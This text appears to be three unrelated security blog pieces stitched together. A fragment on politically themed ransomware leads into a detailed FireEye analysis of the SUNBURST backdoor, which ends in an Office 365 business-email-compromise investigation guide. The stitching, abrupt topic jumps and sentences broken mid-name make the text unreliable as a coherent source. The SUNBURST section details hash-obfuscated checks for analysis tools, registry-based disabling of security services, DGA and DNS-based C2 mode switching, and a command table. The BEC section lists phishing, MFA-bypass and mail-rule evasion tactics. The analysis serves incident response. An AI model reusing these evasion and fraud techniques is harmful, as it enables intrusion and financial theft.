Although it would be simple to claim an increase in politically motivated ransomware, or rather ransomware that leverages the profiles of political figures, there is no significant evidence to suggest they are from the same threat actor.
Equally, these campaigns might not even be ransomware, certainly in the case of the Obama campaign.
Does this examination suggest three separate campaigns?
There are some links and, no, they are not between Obama and Trump.
The Trump and Merkel ransomware are 46% identical in code.
We are left wondering whose campaign is the most successful.
We shall see.
FireEye has discovered additional details about the SUNBURST backdoor since our initial publication on Dec. 13, 2020.
Before diving into the technical depth of this malware, we recommend readers familiarize themselves with our blog post about the SolarWinds supply chain compromise , which revealed a global intrusion campaign by a sophisticated threat actor we are currently tracking as UNC2452.
SUNBURST is a trojanized version of a digitally signed SolarWinds Orion plugin called SolarWinds.
Orion.
Core.
BusinessLayer.dll .
The plugin contains a backdoor that communicates via HTTP to third party servers.
After an initial dormant period of up to two weeks, SUNBURST may retrieve and execute commands that instruct the backdoor to transfer files, execute files, profile the system, reboot the system, and disable system services.
The malware's network traffic attempts to blend in with legitimate SolarWinds activity by imitating the Orion Improvement Program (OIP) protocol and persistent state data is stored within legitimate plugin configuration files.
The backdoor uses multiple obfuscated blocklists to identify processes, services, and drivers associated with forensic and anti-virus tools.
In this post, the following topics are covered in greater detail: Anti-Analysis Environment Checks and Blocklists Domain Generation Algorithm and Variations Command and Control (C2) behaviors for DNS A and CNAME records Malware modes of operation
Anti-Analysis Environment Checks
Before reaching out to its C2 server, SUNBURST performs numerous checks to ensure no analysis tools are present.
It checks process names, file write timestamps, and Active Directory (AD) domains before proceeding.
We believe that these checks helped SUNBURST evade detection by anti-virus software and forensic investigators for seven months after its introduction to the SolarWinds Orion supply chain.
First, the backdoor verifies that the lowercase name of the current process is solarwinds.businesslayerhost .
UNC2452 avoided including this string directly in the source code by computing a hash of the string and comparing the result to the 64-bit number 17291806236368054941 .
The hash value is calculated as a standard FNV-1A 64-bit hash with an additional XOR by the 64-bit number 6605813339339102567 .
The additional XOR operation forces malware analysts to develop custom tools to brute force the hash preimage.
Next, the backdoor only executes if the filesystem last write time of the .NET assembly SolarWinds.
Orion.
Core.
BusinessLayer.dll is at least 12 to 14 days prior to the current time.
The exact threshold is selected randomly from this interval.
In other words, SUNBURST lays low for almost two weeks before raising its head.
If the timestamp check fails, the backdoor will execute again at a random later time when it is invoked by a legitimate recurring background task.
Once the threshold is met, the sample creates the named pipe 583da945-62af-10e8-4902-a8f205c72b2e to ensure only one instance of the backdoor is running.
If the named pipe already exists, the malware exits.
SUNBURST stores its configuration in the legitimate SolarWinds.
Orion.
Core.
BusinessLayer.dll.config file.
It repurposes two existing settings in the appSettings section: ReportWatcherRetry and ReportWatcherPostpone .
During initialization, the backdoor determines if the ReportWatcherRetry setting is the value 3 .
This value indicates the malware has been deactivated and will no longer perform any network activity.
As we describe later, UNC2452 can command the backdoor to disable itself.
This feature may be utilized when the operator determines the victim is not of interest or that they’ve completed their mission.
When investigating a system compromised by SUNBURST, review this setting to determine if the backdoor has been disabled.
Note, the presence of this value does not offer proof the actor did not further compromise the environment before disabling SUNBURST.
The backdoor also determines if the system is joined to an Active Directory (AD) domain and, if so, retrieves the domain name.
Execution ceases if the system is not joined to an AD domain.
SUNBURST checks the AD domain name against a blocklist and halts execution if it contains one of the following values: swdev.local emea.sales pci.local apac.lab swdev.dmz cork.lab saas.swi dmz.local lab.local dev.local lab.rio lab.brno lab.na test solarwinds
We suspect these hard-coded AD domains may be SolarWinds internal domains that UNC2452 wanted to avoid.
Finally, SUNBURST verifies the system has internet connectivity by ensuring it can resolve the DNS name api.solarwinds.com .
Otherwise, execution stops and retries at a random later time.
Anti-Analysis Blocklists SUNBURST's behavior is affected by the presence of malware analysis and security software.
To disguise the strings used to detect these security tools, UNC2452 calculated and embedded a hash value for each string.
While it is trivial for the backdoor to check for the existence of a hashed process name, it is computationally expensive to determine what string a hash value corresponds to (the “preimage”).
However, thanks to some hard work by members of the information security community, the hashes have been successfully brute-forced.
The list of hashes and their corresponding strings can be viewed at this FireEye GitHub page .
SUNBURST uses the aforementioned FNV-1A plus XOR algorithm to compute the hash of each process name, service name, and driver filename on the system.
If a blocklisted process or driver name is found, SUNBURST pauses and tries again later.
The backdoor continues past this check only when there are no processes nor drivers from the blocklist present.
If a blocklisted service is found, SUNBURST attempts to disable the blocklisted service by manipulating the service configuration in the Windows Registry.
It sets the registry value HKLM\\SYSTEM\\CurrentControlSet\\services\\<service_name>\\Start to the value 4 , which corresponds to SERVICE_DISABLED .
As a result, the blocklisted service is disabled on the next power cycle .
This means the presence of a blocklisted service on a compromised host does not make a system immune to SUNBURST.
After the registry modification is made, SUNBURST updates the ReportWatcherPostpone configuration value to reflect the service it disabled.
Then, the backdoor pauses and retries the process and service blocklist checks at a later time.
Subsequent service blocklist checks skip services already present in the ReportWatcherPostpone configuration key.
SUNBURST will not treat the services it has disabled as members of the blocklist anymore.
Therefore, during an incident response, forensic teams should consider recovering and decoding this configuration key to parse out which services SUNBURST attempted to disable.
Domain Generation Algorithm In this section we describe how SUNBURST uses an intermediary command and control (C2) coordinator to retrieve its final C2 server.
The C2 coordinator instructs the backdoor to continue or halt beaconing.
It also redirects SUNBURST to its final C2 server via DNS CNAME records.
We believe this enables UNC2452 to compartmentalize their operations, limiting the network infrastructure shared among victims.
The C2 coordinator is implemented as the authoritative DNS server for the avsvmcloud[.
]com domain.
To communicate with the C2 coordinator, SUNBURST uses a Domain Generation Algorithm (DGA) to construct subdomains of avsvmcloud[.
]com and resolves the fully qualified domain names (FQDN) using the system DNS client.
The backdoor interprets the DNS responses in an unusual way to receive orders from the C2 coordinator.
The DGA generates subdomains with the following DNS suffixes to create the FQDN: .appsync-api.eu-west-1[.]avsvmcloud[.
]com .appsync-api.us-west-2[.]avsvmcloud[.
]com .appsync-api.us-east-1[.]avsvmcloud[.
]com .appsync-api.us-east-2[.]avsvmcloud[.
]com A method named Update is responsible for initializing cryptographic helpers for the generation of these random-looking C2 subdomains.
Subdomains are generated by concatenating an encoded user ID with an encoding of the system's domain name.
The C2 coordinator can recover the victim domain name from the encoded data and likely uses this to route SUNBURST to its final C2 server.
A user ID is generated based on three values: MAC address of the first available, non-loopback network interface Domain name HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography\\MachineGuid value SUNBURST takes the MD5 hash of these combined values and encodes it using a custom XOR scheme.
We believe this value is used by UNC2452 to track unique victims.
SUNBURST uses four different forms of subdomains to signify the operating mode of the backdoor.
Each form contains slightly different information.
However, in two of the forms, investigators can recover the domain names of victim organizations.
We recommend reviewing DNS logs to confirm the presence of a victim’s domain in SUNBURST C2 coordinator traffic.
When SUNBURST is in its initial mode, it embeds the domain of the victim organization in its DGA-generated domain prefix.
Once the malware transitions to an “active” mode, the malware uses the other two forms of subdomains.
These do not include the AD domain, but instead include encodings of either the list of running and stopped services or a timestamp.
The open-source community has done a fantastic job reverse engineering many of the subdomain forms.
While we are not aware of any public decoder scripts that reverse all four possible encodings, most decoders focus on recovering the most useful information: the user ID and domain name embedded in the subdomains.
We recommend that incident responders for victim organizations with access to DNS logs use these tools to confirm their AD domains are not embedded within SUNBURST generated DNS subdomains.
Note that this does not indicate follow-on activity.
The following sources may be referenced for decoding such domains: https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/ https://github.com/RedDrip7/SunBurst_DGA_Decode https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/ Figure 1: Diagram of actor operations and usage of SUNBURST Command and Control SUNBURST uses a two-part C2 protocol that involves both DNS and HTTP.
In “passive” mode, the backdoor communicates with its C2 coordinator via DNS and receives high-level updates to its state.
For example, the C2 coordinator may tell the backdoor to go to sleep or spring into action.
When the backdoor is in “active” mode, it communicates via HTTP to its final C2 server and receives detailed commands such as “spawn a process” or “transfer a file”.
DNS C2 and the C2 Coordinator Protocol
When communicating with the C2 coordinator, the backdoor continuously generates domains via its DGA.
The backdoor delays execution for random intervals between generating domains.
In some cases, this delay is up to 9 hours.
If the C2 coordinator responds with a DNS A record, SUNBURST checks the resolved address against a hard-coded list of IP address blocks.
If the address falls within a block, the backdoor transitions into an associated mode.
The backdoor starts in the “passive” mode where it does nothing but check blocklists, sleep, and beacon via DNS until a transition is seen.
Other modes are “active”, in which the malware communicates via HTTP, and “disabled”, in which the malware is permanently disabled.
These modes and transitions are defined in the Modes of Operation section.
The C2 coordinator may also respond with a DNS CNAME response.
In this case, the malware uses the pointed-to domain from the CNAME response for HTTPS C2 communications.
SUNBURST starts a thread to handle command execution and further C2 HTTP(S) callouts.
As an investigator, if you see CNAME resolutions for subdomains of avsvmcloud[.
]com, it‘s possible that UNC2452 initiated follow-on C2 within the environment.
Note, the malware must receive a DNS A record response pointing to one of the following subnets immediately prior to receiving a DNS CNAME response.
Otherwise, the CNAME resolution will be ignored and treated as an error.
In addition, for these subnets, the least-significant bytes from the A record IP address are parsed to obtain configuration data such as the proxy method to use, the URI scheme to use, and a delay value used in the HTTP thread.
18.130.0.0/16 99.79.0.0/16 184.72.0.0/15
Subsequent DNS A record responses in the following subnet ranges cause the DGA beaconing to continue.
8.18.144.0/23 18.130.0.0/16 71.152.53.0/24 99.79.0.0/16 87.238.80.0/21 199.201.117.0/24 184.72.0.0/15
Otherwise, subsequent DNS A record responses in the following subnet ranges cause SUNBURST to terminate and update the configuration key ReportWatcherRetry to a value that prevents further execution.
This is the killswitch.
10.0.0.0/8
fc00:: - fe00:: 96.31.172.0/24 172.16.0.0/12 fec0:: - ffc0::
131.228.12.0/22 192.168.0.0/16 ff00:: - ff00:: 144.86.226.0/24 224.0.0.0/3 20.140.0.0/15
While in “active” mode, the DGA subdomain encoding does not include victim machine domain name information.
Instead, the DGA subdomains encode a timestamp or the list of stopped/running services.
To transition back to “passive” mode, the malware operator may set the DNS server to resolve A records within the following IP ranges: 41.84.159.0/24 74.114.24.0/21 154.118.140.0/24 217.163.7.0/24 If the malware is transitioned from the “active” mode back to “passive”, the C2 coordinator must repeat the activation process if the operator wants to re-activate the sample.
HTTP(S) C2 After receiving a CNAME DNS response with a new host to communicate with, SUNBURST starts a new thread to execute the method HttpHelper.
Initialize .
This method is responsible for the C2 communications and dispatching.
The HTTP thread begins by delaying for a configurable amount of time that is controlled by the SetTime command.
The HTTP thread delays for a minimum of one minute between callouts.
The malware uses HTTP GET or POST requests.
The sample disables certificate verification so it is possible to decrypt HTTPS traffic if SSL man-in-the-middle is performed.
The malware constructs HTTP GET or POST request URIs from random selections of substrings.
The scheme used depends on the A record received just prior to the CNAME DNS response.
When sending a GET request, the malware adds an \"If-None-Match\" HTTP header that includes the encoded user ID.
This likely allows the C2 server to determine which SUNBURST installation generated the request, further enabling multiplexing of C2 streams on a single server.
In observed traffic, the C2 server employs steganography to hide data within HTTP response bodies and attempts to appear as benign XML related to .NET assemblies.
Command data is spread across many GUID and hexadecimal strings.
Commands are extracted from HTTP response bodies by searching for hexadecimal strings using the following regular expression: \"\\{[0-9a-f-]{36}\\}\"|\"[0-9a-f]{32}\"|\"[0-9a-f]{16}\" .
Matched substrings in the response are filtered for non-hex characters, joined together, and hex-decoded.
Depending on the mode of operation, the malware may skip the steganography and send the encoded response in an HTTP response body.
Figure 2: C2 response embeds commands in XML GUIDs In the received C2 response, the first DWORD value indicates the actual size of the message.
This value is followed immediately by the message with optional junk bytes added.
The extracted message is single-byte XOR decoded using the first byte of the message.
The result is then DEFLATE decompressed.
The first character of the decompressed data is an ASCII integer that maps to a command ID, with optional additional command arguments delimited by space characters.
The supported commands are shown in the following table.
Command ID Operation Idle 0 No operation Exit 1 Terminate the current thread.
SetTime 2 Sets the delay time between main event loop executions Delay is in seconds, and varies random between [.9 * <delay>, 1.1 * <delay>]
If the delay is < 300 it is doubled on the next execution through the loop, this means it should settle onto an interval of around [5, 10] minutes
o There is a second, unrelated delay routine that delays for a random interval between [16hrs, 83hrs] CollectSystemDescription 3 Profile the local system including hostname, username, OS version, MAC addresses, IP address, DHCP configuration, and domain information.
UploadSystemDescription 4 Perform an HTTP request to the specified URL, parse the results and send the response to the C2 server.
RunTask 5 Starts a new process with the given file path and arguments GetProcessByDescription 6 Returns a process listing.
If no arguments are provided, returns just the PID and process name.
If an argument is provided, it also returns the parent PID and username and domain for the process owner.
KillTask 7 Terminate the given process, by PID.
GetFileSystemEntries 8 Given a path, and a match pattern recursively list files and directories.
WriteFile 9 Given a file path and a Base64-encoded string write the contents of the Base64 string to the given file path.
Write using append mode.
Delay for [1s, 2s] after writing is done.
FileExists 10 Tests whether the given file path exists.
DeleteFile 11 Deletes the specified file path.
GetFileHash 12 Compute the MD5 of a file at a given path and return the result as a hex string.
If an argument is provided, it is the expected MD5 hash of the file and returns an error if the calculated MD5 differs.
ReadRegistryValue 13
Arbitrary registry read from one of the supported hives.
SetRegistryValue 14
Arbitrary registry write from one of the supported hives.
DeleteRegistryValue 15
Arbitrary registry delete from one of the supported hives.
GetRegistrySubKeyAndValueNames 16 Returns listing of subkeys and value names beneath the given registry path.
Reboot 17 Attempts to immediately trigger a system reboot.
SUNBURST sends messages back to the C2 server using a protocol that consists of UTF-8 strings and an appended 4-byte error DWORD and 8-byte userID.
These are bare DEFLATE compressed and single-byte XOR encoded with the XOR key prepended to the message.
Message payloads of length 10,000 or less are turned into JSON documents that resemble the Orion Improvement Program (OIP) messages used legitimately by SolarWinds.
Messages larger than 10,000 bytes are sent as-is in the HTTP request body.
The fake OIP document contains the following fields: userId – a unique identifier for the victim machine sessionID – stores a new random GUID for each HTTP thread steps – an array of objects that contain the following keys: Timestamp , Index , EventType , EventName , DurationMs , Succeeded , and Message .
The JSON key EventType is hard-coded to the value Orion and the EventName is hard-coded to EventManager .
The encoded message to send to the C2 server is split up into random ranges, Base64-encoded, and stored in the Message field of the objects in the steps array.
Not all objects in the steps array contribute to the malware response.
The integer in the Timestamp field must have the 0x2 bit set to indicate the contents of the Message field are used in the malware response.
steps objects whose 0x2 bit is clear in the Timestamp field contain random data and are discarded when assembling the malware response.
This may be an attempt to hinder analysis in the absence of the malware sample.
Figure 3: HTTP callout masquerades as OIP protocol Modes of Operation As detailed in the DGA section, the malware has multiple modes of operation configured by the IP block that A records resolve to as well as depending on if CNAME records exist.
These modes of operation are stored in internal enumerations.
These mappings and values are described next.
Internal Modes
The following modes govern internal operations of the malware: Mode Name Value Description Truncate 3 Disabled; the malware killswitch has been activated and the sample may never run again without external modification to the XML configuration on-disk.
New 4 Passive mode; DGA subdomains encode the system’s domain name Append 5 Active mode; C2 beaconing will occur on next CNAME resolve or is already actively occurring.
DGA domains encode either the userID or the list of services The mode values are written into the backdoor configuration key ReportWatcherRetry .
Investigators may consider recovering the malware configuration and inspecting this configuration value to determine the last running mode of the malware.
The following transitions govern how IP block ranges are translated into running modes: Transition Name Description Atm Transition to Truncate Ipx Transition from Append to New ImpLink Transition to Truncate NetBios Transition to Append, either start or continue C2 beaconing Unknown Not an IPv4 or IPv6 address, exit and retry DGA later The following diagram describes how the SUNBURST’s DGA DNS responses act as mode transitions to control the malware before HTTP-based C2 beaconing has even begun: Additionally, here is an annotated network log showing how a sequence of DNS resolutions can transition the malware mode: To end this discussion of modes and transitions, a small note about the choices of these IP blocks.
In cases such as the ImpLink IP blocks that activate the killswitch, it’s likely that the ranges were specifically chosen by the attacker to avoid being discovered by security researchers.
In other cases, such as the NetBios and \"special\" NetBios IP blocks, the companies these blocks resolve to is likely irrelevant or at least beyond what can be definitively said without speculation.
Malware Flow Diagram
The following diagram provides a full picture of the malware's execution.
Internally, SUNBURST uses a set of modes and transitions as described earlier.
The names of these modes and transitions have no meaning.
The malware authors purposely chose them as a form of obfuscation.
When diagraming the malware's execution, these names were reused for clarity.
Figure 4:
Malware logic and decision states Q&A Is a system running blocklisted processes, services, or drivers safe from compromise?
Sometimes, but not always.
SUNBURST unconditionally exits if blocklisted processes or drivers are found and will not run until they are no longer detected.
On the other hand, services are disabled by setting a registry value that controls startup initialization and are not explicitly stopped.
As a result, a blocklisted service may still be running when the malware performs its service checks later.
For this reason, it is possible for a victim system to be infected while a blocklisted service is running.
Additionally, SUNBURST only attempts to disable a service once and updates its configuration to mark the service as disabled.
Once the configuration is updated, the service is not treated as a blocklisted entry during subsequent execution.
Does observing one DGA encoding over another provide any information during incident response?
Short answer: it provides a hint for where to look but isn’t a be-all tell-all alone.
Noticing the DGA encoding change in network logs is a hint that the malware may have moved from New to Append or Append to New.
This puts the malware in a mode where if a CNAME record is seen soon after, then HTTP C2 can begin.
Incident response should focus on trying to identify CNAME records being successfully resolved instead of focusing on DGA encodings entirely.
Identifying CNAME records is easier than tracking the malware mode through logs and a stronger signal.
What is the \"killswitch\"?
FireEye discovered that certain DNS responses cause the malware to disable itself and stop further network activity.
With the support and help of GoDaddy’s Abuse Team and the Microsoft Threat Intelligence Center, the domain used for resolving DGA domains was reconfigured to point to a sinkhole server under Microsoft’s control.
The IP of this sinkhole server was specially chosen to fall into the range used by the malware to transition from its current mode (New or Append) into Truncate mode where it will be permanently inactive.
In other words, SUNBURST infections should now be inoculated due to the killswitch.
When C2 communication occurs, is a CNAME record required?
CNAME records are required for HTTP C2 beaconing to occur and are provided by the C2 coordinator to specify the final C2 server.
C2 activity must occur over a domain name provided via a CNAME record.
It cannot occur directly via a raw IP.
To initialize C2 beaconing, the backdoor first looks for an A record response from one of its special NetBios subnets and subsequently expects to receive a CNAME record.
If a DGA domain is decoded to a company domain name, is that company compromised?
When the backdoor is in “passive” mode it uses the DGA encoding which embeds victim AD domain names.
This means that any system where the backdoor is present may have started trying to contact DNS servers where an attacker could then activate the backdoor to begin active C2 communications.
In most cases this did not occur and backdoors for non-targets were disabled by the operator.
Therefore, it cannot be assumed that an organization experienced follow-on activity if their domain is decoded from any DNS logs.
Specifically, it’s only an indicator that the backdoor code was present and capable of being activated.
Public Contributions We have seen substantial community contributions to our public SUNBURST GitHub repository .
We would like to publicly thank all contributors to this repository.
Specifically, all FNV hashes embedded within SUNBURST have been brute-forced.
This is a huge amount of compute power that members of the community provided free-of-charge to help others.
We want to thank everyone who contributed hashes and specifically callout the Hashcat community, which organized to systematically break each hash.
This was essential for breaking the final few hashes whose preimage were of considerable length.
Acknowledgements Matthew Williams, Michael Sikorski, Alex Berry and Robert Wallace.
For additional information on UNC2452, register for our webinar, UNC2452: What We Know So Far , on Tuesday, Jan. 12, at 8 a.m. PT/11 a.m.
ET.
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With Business Email Compromises (BECs) showing no signs of slowing down , it is becoming increasingly important for security analysts to understand Office 365 (O365) breaches and how to properly investigate them.
This blog post is for those who have yet to dip their toes into the waters of an O365 BEC, providing a crash course on Microsoft’s cloud productivity suite and its assortment of logs and data sources useful to investigators.
We’ll also go over common attacker tactics we’ve observed while responding to BECs and provide insight into how Mandiant Managed Defense analysts approach these investigations at our customers using PowerShell and the FireEye Helix platform .
Office 365 Office 365 is Microsoft’s cloud-based subscription service for the Microsoft Office suite.
It is built from dozens of applications tightly embedded into the lives of today’s workforce, including: Exchange Online, for emails SharePoint, for intranet portals and document sharing Teams and Skype for Business, for instant messaging OneDrive, for file sharing Microsoft Stream, for recorded meetings and presentations As more and more organizations decide to adopt Microsoft’s cloud-based offering to meet their needs, unauthorized access to these O365 environments, or tenants in Microsoft’s parlance, has become increasingly lucrative to motivated attackers.
The current high adoption rate of O365 means that attackers are getting plenty of hands on experience with using and abusing the platform.
While many tactics have remained largely unchanged in the years since we’ve first observed them, we’ve also witnessed the evolution of techniques that are effective against even security-conscious users.
In general, the O365 compromises we’ve responded to have fallen into two categories: Business Email Compromises (BECs) APT or state-sponsored intrusions Based on our experience, BECs are a common threat to any organization's O365 tenant.
The term “BEC” typically refers to a type of fraud committed by financially motivated attackers.
BEC actors heavily rely on social engineering to carry out their schemes, ultimately defrauding organizations and even personnel.
One common BEC scheme involves compromising a C-suite executive’s account via phishing.
Once the victim unwittingly enters their credentials into a web form masquerading as the legitimate Office 365 login portal, attackers log in and instruct others in the organization to conduct a wire transfer, perhaps under the guise of an upcoming acquisition that has yet to be publicly announced.
However, we’ve also observed more effective schemes where attackers compromise those in financial positions and patiently wait until an email correspondence has begun about a due payment.
Attackers seize this opportunity by sending a doctored invoice (sometimes based on a legitimate invoice that had been stolen earlier) on behalf of the compromised user to another victim responsible for making payments.
These emails are typically hidden from the compromised user due to attacker-created Outlook mailbox rules.
Often times, by the time the scheme is inevitably discovered and understood days or weeks later, the money is unrecoverable—highlighting the importance of contacting law enforcement immediately if you’ve fallen victim to a fraud.
The personal finances of staff aren’t off limits to attackers either.
We’ve observed several cases of W-2 scams, in which attackers send a request to HR for W-2 information from the victim’s account.
Once obtained, this personally identifiable information is later used to conduct tax fraud.
Conversely, APT intrusions are typically more sophisticated and are conducted by state-sponsored threat actors.
Rather than for financial gain, APT actors are usually tasked to compromise O365 tenants for purposes of espionage, data theft, or destruction.
Given the wealth of sensitive information housed in any given organization’s O365 tenant, APT actors may not even need to touch a single endpoint to complete their mission, sidestepping the many security controls organizations have implemented and invested in.
O365
Logs and Data Sources
In this section, we’ll touch on the multitude of logs and portals containing forensic data relevant to an O365 investigation.
Before we can begin investigating an O365 case, we’ll work with our clients to get an “Investigator” account provisioned with the roles required to obtain the forensic data we need.
For the purposes of this blog post, we’ll quickly list the roles needed for an Investigator account, but during an active Managed Defense investigation, a designated Managed Defense consultant will provide further guidance on account provisioning.
At a minimum, the Investigator account should have the following roles: Exchange Admin Roles View-only audit logs View-only configuration View-only recipients Mailbox Search Message Tracking eDiscovery Rights eDiscovery Manager role Azure Active Directory Roles Global Reader Unified Audit Log (UAL)
The Unified Audit Log records activity from various applications within the Office 365 suite, and can be considered O365’s main log source.
Entries in the UAL are stored in JSON format.
We recommend using the PowerShell cmdlet Search-UnifiedAuditLog to query the UAL as it allows for greater flexibility, though it can also be acquired from the Office 365 Security & Compliance Center located at protection.office.com .
In order to leverage this log source (and the Admin Audit Log), ensure that the Audit Log Search feature is enabled.
The UAL has a few nuances that are important to consider.
While it provides a good high-level summary of activity across various O365 applications, it won’t log comprehensive mailbox activity (for that, acquire the Mailbox Audit Log).
Furthermore, the UAL has a few limitations, namely: Results to a single query are limited to 5000 results Only 90 days of activity are retained Events may take up to 24 hours before they are searchable Mailbox Audit Log (MAL)
The Mailbox Audit Log, part of Exchange Online, will capture additional actions performed against objects within a mailbox.
As such, it’s a good idea acquire and analyze the MAL for each affected user account with the PowerShell cmdlet Search-MailboxAuditLog .
Note that entries in the MAL will be retained for 90 days (by default) and timestamps will be based on the user’s local time zone.
The MAL’s retention time can always be increased with the PowerShell cmdlet Set-Mailbox along with the AuditLogAgeLimit parameter.
At the time of writing this post, Microsoft has recently released information about enhanced auditing functionality that gives investigators insight into which emails were accessed by attackers.
This level of logging for regular user accounts is only available for organizations with an Office 365 E5 subscription.
Once Advanced Auditing is enabled, mail access activity will be logged under the MailItemsAccessed operation in both the UAL and MAL.
Administrator Audit Log
If the Audit Log Search feature is enabled, this supplemental data source logs all PowerShell administrative cmdlets (including command-line arguments) executed by administrators.
If you suspect that an administrator account was compromised, don’t overlook this log!
The PowerShell cmdlet Search-AdminAuditLog is used to query these logs, but note that the Audit Log Search feature must be enabled and the same 90 day retention limit will be in place.
Azure AD Logs Azure AD logs can be accessed from the Azure portal ( portal.azure.com ) under the Azure Active Directory service.
Azure AD Sign-in logs contain detailed information about how authentications occur and O365 application usage.
Azure AD audit logs are also a valuable source of information, containing records of password resets, account creations, role modifications, OAuth grants, and more that could be indicative of suspicious activity.
Note that Azure AD logs are only available for 30 days.
Cloud App Security Portal For cases where OAuth abuse has been observed, information about cloud applications can be found in Microsoft’s Cloud App Security portal ( portal.cloudappsecurity.com ).
Access to this portal requires an E5 license or a standalone Cloud App license.
For more background on OAuth abuse, be sure to check out our blog post: Shining a Light on OAuth Abuse with PwnAuth .
Message Traces Message traces record the emails sent and received by a user.
During an investigation, run reports on any email addresses of interest.
The message trace report will contain detailed mail flow information as well as subject lines, original client IP addresses, and message sizes.
Message traces are useful for identifying emails sent by attackers from compromised accounts, and can also aid in identifying initial phishing emails if phishing was used for initial access.
To obtain the actual emails, use the Content Search tool.
Only the past 10 days of activity is available with the Get-MessageTrace PowerShell cmdlet.
Historical searches for older messages can be run with the Get-HistoricalSearch cmdlet (up to 90 days by default), but historical searches typically take hours for the report to be available.
Historical reports can also be generated within the Security and Compliance Center.
eDiscovery Content Searches The Content Search tool allows investigators to query for emails, documents, and instant message conversations stored in an Office 365 tenant.
We frequently run Content Search queries to find and acquire copies of emails sent by attackers.
Content searches are limited to what has been indexed by Microsoft, so recent activity may not immediately appear.
Additionally, only the most recent 1000 items will be shown in the preview pane.
Anatomy of an O365 BEC As mentioned earlier, BECs are one of the more prevalent threats to O365 tenants seen by Managed Defense today.
Sometimes, Mandiant analysts respond to several BEC cases at our customers within the same week.
With this frontline experience, we’ve compiled a list of commonly observed tactics and techniques to advise our readers about the types of activities one should anticipate.
Please note that this is by no means a comprehensive list of O365 attacks, rather a focus on the usual routes we’ve seen BEC actors take to accomplish their objective.
Phase 1:
Initial Compromise Phishing :
Emails with links to credential harvesting forms sent to victims, sometimes from the account of a compromised business partner.
Brute force : A large dictionary of passwords attempted against an account of interest.
Password spray : A dictionary of commonly used passwords attempted against a list of known user accounts.
Access to credential dump : Valid credentials used from a previous compromise of the user.
MFA bypasses : Use of mail clients leveraging legacy authentication protocols (e.g.
IMAP/POP), which bypass MFA policies.
Attackers may also spam push notifications to the victim by repeatedly attempting to log in, eventually leading to the victim mistakenly accepting the prompt.
Phase 2:
Establish Foothold More phishing :
Additional phishing lures sent to internal/external contacts from Outlook’s global address list.
More credible lures : New phishing lures uploaded to the compromised user's OneDrive or SharePoint account and shared with the victim’s coworkers.
SMTP forwarding : SMTP forwarding enabled in the victim’s mailbox to forward all email to an external address.
Forwarding mailbox rules : Mailbox rules created to forward all or certain mail to an external address.
Mail client usage : Outlook or third-party mail clients used by attackers.
Mail will continue to sync for a short while after a password reset occurs.
Phase 3:
Evasion Evasive mailbox rules : Mailbox rules created to delete mail or move some or all incoming mail to uncommonly used folders in Outlook, such as “RSS Subscriptions”.
Manual evasion : Manual deletion of incoming and sent mail.
Attackers may forego mailbox rules entirely.
Mail forwarding :
Attackers accessing emails without logging in if a mechanism to forward mail to an external address was set up earlier.
Mail client usage : Outlook or third-party mail clients used by attackers.
Mail can be synced locally to the attacker’s machine and accessed later.
VPN usage : VPN servers, sometimes with similar geolocations to their victims, used in an attempt to avoid detection and evade conditional access policies.
Phase 4: Internal Reconnaissance Outlook searching :
The victim’s mailbox queried by attackers for emails of interest.
While not recorded in audit logs, it may be available to export if it was not deleted by attackers.
O365 searching :
Searches conducted within SharePoint and other O365 applications for content of interest.
While not recorded in audit logs, SharePoint and OneDrive file interactions are recorded in the UAL.
Mail client usage : Outlook or third-party mail clients used by attackers.
Mail can be synced locally to the attacker’s machine and accessed later.
Phase 5: Complete Mission Direct deposit update : A request sent to the HR department to update the victim’s direct deposit information, redirecting payment to the BEC actor.
W-2 scam : A request sent to the HR department for W-2 forms, used to harvest PII for tax fraud.
Wire transfer : A wire transfer requested for an unpaid invoice, upcoming M&A, charities, etc.
Third-party account abuse : Abuse of the compromised user’s privileged access to third-party accounts and services, such as access to a corporate rewards site.
How Managed Defense Responds to O365 BECs In this section, we’re going to walk through how Managed Defense investigates a typical O365 BEC case.
Many of the steps in our investigation rely on querying for logs with PowerShell.
To do this, first establish a remote PowerShell session to Exchange Online.
The following Microsoft documentation provides guidance on two methods to do this: Connect to Exchange Online PowerShell with Basic authentication Use the Exchange Online PowerShell with modern authentication using V2 module Broad Scoping
We start our investigations off by running broad queries against the Unified Audit Log (UAL) for suspicious activity.
We’ll review OAuth activity too, which is especially important if something more nefarious than a financially motivated BEC is suspected.
Any FireEye gear available to us—such as FireEye Helix and Email Security —will be leveraged to augment the data available to us from Office 365.
The following are a few initial scoping queries we’d typically run at the beginning of a Managed Defense engagement.
Scoping Recent Mailbox Rule Activity Even in large tenants, pulling back all recent mailbox rule activity doesn’t typically produce an unmanageable number of results, and attacker-created rules tend to stand out from the rest of the noise.
Querying UAL for all mailbox rule activity in Helix: class=ms_office365 action:[New-InboxRule, Set-InboxRule, Enable-InboxRule] | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg] Query UAL for new mail rule activity in PowerShell: Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000 -Operations \"New-InboxRule\",\"Set-InboxRule\",\"Enable-InboxRule\" | Export-CSV \\path\\to\\file.csv –NoTypeInformation -Encoding utf8 Scoping SMTP Forwarding Activity SMTP forwarding is sometimes overlooked because it appears under a UAL operation separate from mailbox rules.
This query looks for the Set-Mailbox operation containing a parameter to forward mail over SMTP, indicative of automatic forwarding being enabled from OWA.
Querying UAL for SMTP forwarding in Helix: class=ms_office365 action=
Set-Mailbox rawmsg:
ForwardingSmtpAddress | table [createdtime, action, username, srcipv4, srcregion, parameters, rawmsg] Querying UAL for SMTP forwarding in PowerShell: Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-90) -EndDate (Get-Date) -ResultSize 5000
-FreeText \"ForwardingSmtpAddress\" | Export-CSV \\path\\to\\file.csv –
NoTypeInformation -Encoding utf8 Analyze Compromised Users Logs
After we’ve finished scoping the tenant, we’ll turn our attention to the individual users believed to be involved in the compromise.
We’ll acquire all relevant O365 logs for the identified compromised user(s) - this includes the user's UAL, Mailbox Audit Log (MAL), and Admin audit log (if the user is an administrator).
We’ll review these logs for anomalous account activity and assemble a list of attacker IP addresses and User-Agents strings.
We’ll use this list to further scope the tenant.
O365 investigations rely heavily on anomaly detection.
Many times, the BEC actor may even be active at the same time as the user.
In order to accurately differentiate between legitimate user activity and attacker activity within a compromised account, it's recommended to pull back as much data as possible to use as a reference for legitimate activity.
